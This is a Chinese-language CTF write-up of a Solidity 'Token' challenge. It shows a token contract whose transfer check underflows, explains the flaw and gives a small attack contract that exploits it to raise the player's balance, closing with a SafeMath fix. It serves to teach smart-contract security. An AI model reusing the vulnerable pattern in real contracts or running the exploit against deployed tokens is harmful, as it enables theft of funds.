Token
题目源码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
题目要求
这道题目初始化时,给player
打了 20 个 Token,要求只要能让player
的 Token 数量变多就可以
题目分析
这个题目的突破口从transfer
方法入手。我们看到transfer
转账时,针对msg.sender
做了一些加减以及条件检查。但是里面有个严重漏洞就是溢出。在solidity 0.6.0
版本里0 - 100
会溢出成正数。所以以下两句检查相当于无效
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
这里如果我们通过把_to
填写成我们自己的地址,由于msg.sender
是我们自己的账号,所以下面两句加减运算抵消了。相当于什么都没操作
balances[msg.sender] -= _value;
balances[_to] += _value;
所以这里我们部署一个合约,让通过我们的合约给自己转账,则msg.sender
就是我们的合约。这样就可以无限转账
攻击步骤
- 编写以下攻击合约
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.0;
interface IToken {
function transfer(address _to,uint _value) external returns (bool);
function balanceOf(address _owner) external view returns (uint);
}
contract TokenAttack {
event ValueInfo(uint256 value);
function attackToken(IToken _token,address _to,uint256 _value) external {
bool success = _token.transfer(_to,_value);
require(success,"attack failed");
require(_token.balanceOf(_to) > 20,"balance not increase");
}
}
- 调用攻击合约的
attackToken
方法,只要把value
填写成大于 0 的数字就可以实现给自己转账
题目知识点
在solidity 0.6.0
版本中,0 减去正数会溢出成正数。所以推荐使用SafeMath
库来规避溢出问题